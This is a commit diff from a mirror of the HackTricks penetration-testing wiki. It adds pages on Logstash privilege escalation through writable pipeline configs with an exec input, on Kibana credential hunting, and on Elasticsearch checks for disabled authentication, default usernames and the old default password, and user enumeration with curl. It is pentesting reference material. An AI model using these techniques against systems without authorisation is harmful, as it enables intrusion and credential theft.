mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-14 17:07:34 +00:00
GitBook: [master] 4 pages modified
This commit is contained in:
parent
285704c7b6
commit
9b1d0331e3
4 changed files with 119 additions and 2 deletions
|
@ -24,6 +24,7 @@
|
|||
|
||||
* [Checklist - Linux Privilege Escalation](linux-unix/linux-privilege-escalation-checklist.md)
|
||||
* [Linux Privilege Escalation](linux-unix/privilege-escalation/README.md)
|
||||
* [Logstash](linux-unix/privilege-escalation/logstash.md)
|
||||
* [AppArmor](linux-unix/privilege-escalation/apparmor.md)
|
||||
* [Containerd \(ctr\) Privilege Escalation](linux-unix/privilege-escalation/containerd-ctr-privilege-escalation.md)
|
||||
* [Docker Breakout](linux-unix/privilege-escalation/docker-breakout.md)
|
||||
|
@ -277,6 +278,7 @@
|
|||
* [5000 - Pentesting Docker Registry](pentesting/5000-pentesting-docker-registry.md)
|
||||
* [5353/UDP Multicast DNS \(mDNS\)](pentesting/5353-udp-multicast-dns-mdns.md)
|
||||
* [5432,5433 - Pentesting Postgresql](pentesting/pentesting-postgresql.md)
|
||||
* [5601 - Pentesting Kibana](pentesting/5601-pentesting-kibana.md)
|
||||
* [5671,5672 - Pentesting AMQP](pentesting/5671-5672-pentesting-amqp.md)
|
||||
* [5800,5801,5900,5901 - Pentesting VNC](pentesting/pentesting-vnc.md)
|
||||
* [5984,6984 - Pentesting CouchDB](pentesting/5984-pentesting-couchdb.md)
|
||||
|
|
66
linux-unix/privilege-escalation/logstash.md
Normal file
66
linux-unix/privilege-escalation/logstash.md
Normal file
|
@ -0,0 +1,66 @@
|
|||
# Logstash
|
||||
|
||||
## Basic Information
|
||||
|
||||
Logstash is used for collecting, transforming and outputting logs. This is realized by using **pipelines**, which contain input, filter and output modules. The service gets interesting when having compromised a machine which is running Logstash as a service.
|
||||
|
||||
### Pipelines
|
||||
|
||||
The pipeline configuration file **/etc/logstash/pipelines.yml** specifies the locations of active pipelines:
|
||||
|
||||
```bash
|
||||
# This file is where you define your pipelines. You can define multiple.
|
||||
# For more information on multiple pipelines, see the documentation:
|
||||
# https://www.elastic.co/guide/en/logstash/current/multiple-pipelines.html
|
||||
|
||||
- pipeline.id: main
|
||||
path.config: "/etc/logstash/conf.d/*.conf"
|
||||
- pipeline.id: example
|
||||
path.config: "/usr/share/logstash/pipeline/1*.conf"
|
||||
pipeline.workers: 6
|
||||
```
|
||||
|
||||
In here you can find the paths to the **.conf** files, which contain the configured pipelines. If the **Elasticsearch output module** is used, **pipelines** are likely to **contain** valid **credentials** for an Elasticsearch instance. Those credentials have often more privileges, since Logstash has to write data to Elasticsearch. If wildcards are used, Logstash tries to run all pipelines located in that folder matching the wildcard.
|
||||
|
||||
### Privesc with writable pipelines
|
||||
|
||||
Before trying to elevate your own privileges you should check which user is running the logstash service, since this will be the user, you will be owning afterwards. Per default the logstash service runs with the privileges of the **logstash** user.
|
||||
|
||||
Check whether you have **one** of the required rights:
|
||||
|
||||
* You have **write permissions** on a pipeline **.conf** file **or**
|
||||
* **/etc/logstash/pipelines.yml** contains a wildcard and you are allowed to write into the specified folder
|
||||
|
||||
Further **one** of the requirements must be met:
|
||||
|
||||
* You are able to restart the logstash service **or**
|
||||
* **/etc/logstash/logstash.yml** contains the entry **config.reload.automatic: true**
|
||||
|
||||
If a wildcard is specified, try to create a file matching that wildcard. Following content can be written into the file to execute commands:
|
||||
|
||||
```bash
|
||||
input {
|
||||
exec {
|
||||
command => "whoami"
|
||||
interval => 120
|
||||
}
|
||||
}
|
||||
|
||||
output {
|
||||
file {
|
||||
path => "/tmp/output.log"
|
||||
codec => rubydebug
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
The **interval** specifies the time in seconds. In this example the **whoami** command is executed every 120 seconds. The output of the command is saved into **/tmp/output.log**.
|
||||
|
||||
If **/etc/logstash/logstash.yml** contains the entry **config.reload.automatic: true** you only have to wait until the command gets executed, since Logstash will automatically recognize new pipeline configuration files or any changes in existing pipeline configurations. Otherwise trigger a restart of the logstash service.
|
||||
|
||||
If no wildcard is used, you can apply those changes to an existing pipeline configuration. **Make sure you do not break things!**
|
||||
|
||||
## References
|
||||
|
||||
* [https://insinuator.net/2021/01/pentesting-the-elk-stack/](https://insinuator.net/2021/01/pentesting-the-elk-stack/)
|
||||
|
28
pentesting/5601-pentesting-kibana.md
Normal file
28
pentesting/5601-pentesting-kibana.md
Normal file
|
@ -0,0 +1,28 @@
|
|||
# 5601 - Pentesting Kibana
|
||||
|
||||
## Basic Information
|
||||
|
||||
Kibana provides search and data visualization capabilities for data indexed in Elasticsearch. The service runs per default on port **5601**. Kibana also acts as the user interface for monitoring, managing, and securing an Elastic Stack cluster.
|
||||
|
||||
### Authentication?
|
||||
|
||||
Authentication in Kibana is linked to the **credentials from** [**Elasticsearch**](9200-pentesting-elasticsearch.md). If **authentication** is **disabled** in **Elasticsearch**, **Kibana** also should be **accessible without credentials**. Otherwise the **same credentials valid for Elasticsearch** should be working when logging in to Kibana. The **rights** of the **users** in **Elasticsearch** are the **same** as in **Kibana**.
|
||||
|
||||
You might find credentials in the configuration file **/etc/kibana/kibana.yml**. If those credentials are not for the user **kibana\_system**, it should be tried to use them for accessing further data. They could have more rights then the **kibana\_system** user, which only has access to the monitoring API and the **.kibana** index.
|
||||
|
||||
### Having Access?
|
||||
|
||||
When having access to Kibana you can do several things:
|
||||
|
||||
* Try to **access data** from **Elasticsearch**
|
||||
* Check if you can access the users panel and if you can e**dit, delete or create new users,** roles or API Keys \(Stack Management -> Users/Roles/API Keys\)
|
||||
* Check the current version for vulnerabilities \(**There was a RCE vulnerability in 2019 for Kibana versions < 6.6.0** \[[2](https://insinuator.net/2021/01/pentesting-the-elk-stack/#ref2)\]\)
|
||||
|
||||
### Enabled SSL/TLS?
|
||||
|
||||
If SSL/TLS is not enabled, it should be evaluated, whether sensitive information can be leaked.
|
||||
|
||||
### References
|
||||
|
||||
* [https://insinuator.net/2021/01/pentesting-the-elk-stack/](https://insinuator.net/2021/01/pentesting-the-elk-stack/)
|
||||
|
|
@ -28,7 +28,15 @@ If you don't see that response accessing `/` see the following section.
|
|||
|
||||
### Authentication
|
||||
|
||||
**By default Elasticsearch doesn't have authentication enabled**, so by default you can access everything inside the database without using any credentials.
|
||||
**By default Elasticsearch doesn't have authentication enabled**, so by default you can access everything inside the database without using any credentials.
|
||||
|
||||
You can verify that authentication is disabled with a request to:
|
||||
|
||||
```bash
|
||||
curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user"
|
||||
{"error":{"root_cause":[{"type":"exception","reason":"Security must be explicitly enabled when using a [basic] license. Enable security by setting [xpack.security.enabled] to [true] in the elasticsearch.yml file and restart the node."}],"type":"exception","reason":"Security must be explicitly enabled when using a [basic] license. Enable security by setting [xpack.security.enabled] to [true] in the elasticsearch.yml file and restart the node."},"status":500}
|
||||
```
|
||||
|
||||
**However**, if you send a request to `/` and receives a response like the following one:
|
||||
|
||||
```bash
|
||||
|
@ -36,12 +44,25 @@ If you don't see that response accessing `/` see the following section.
|
|||
```
|
||||
|
||||
That will means that authentication is configured an **you need valid credentials** to obtain any info from elasticserach. Then, you can [**try to bruteforce it**](../brute-force.md#elasticsearch) ****\(it uses HTTP basic auth, so anything that BF HTTP basic auth can be used\).
|
||||
Here you have a **list default usernames**: _**elastic** \(superuser\), remote\_monitoring\_user, beats\_system, logstash\_system, kibana, kibana\_system, apm\_system_
|
||||
Here you have a **list default usernames**: _**elastic** \(superuser\), remote\_monitoring\_user, beats\_system, logstash\_system, kibana, kibana\_system, apm\_system,_ \_anonymous_._ Older versions of Elasticsearch have the default password **changeme** for this user
|
||||
|
||||
```text
|
||||
curl -X GET http://user:password@IP:9200/
|
||||
```
|
||||
|
||||
### Basic User Enumeration
|
||||
|
||||
```bash
|
||||
#List all roles on the system:
|
||||
curl -X GET "ELASTICSEARCH-SERVER:9200/_security/role"
|
||||
|
||||
#List all users on the system:
|
||||
curl -X GET "ELASTICSEARCH-SERVER:9200/_security/user"
|
||||
|
||||
#Get more information about the rights of an user:
|
||||
curl -X GET "ELASTICSEARCH-SERVER:9200/_security/user/<USERNAME>"
|
||||
```
|
||||
|
||||
### Elastic Info
|
||||
|
||||
Here are some endpoints that you can **access via GET** to **obtain** some **information** about elasticsearch:
|
||||
|
|
Loading…
Reference in a new issue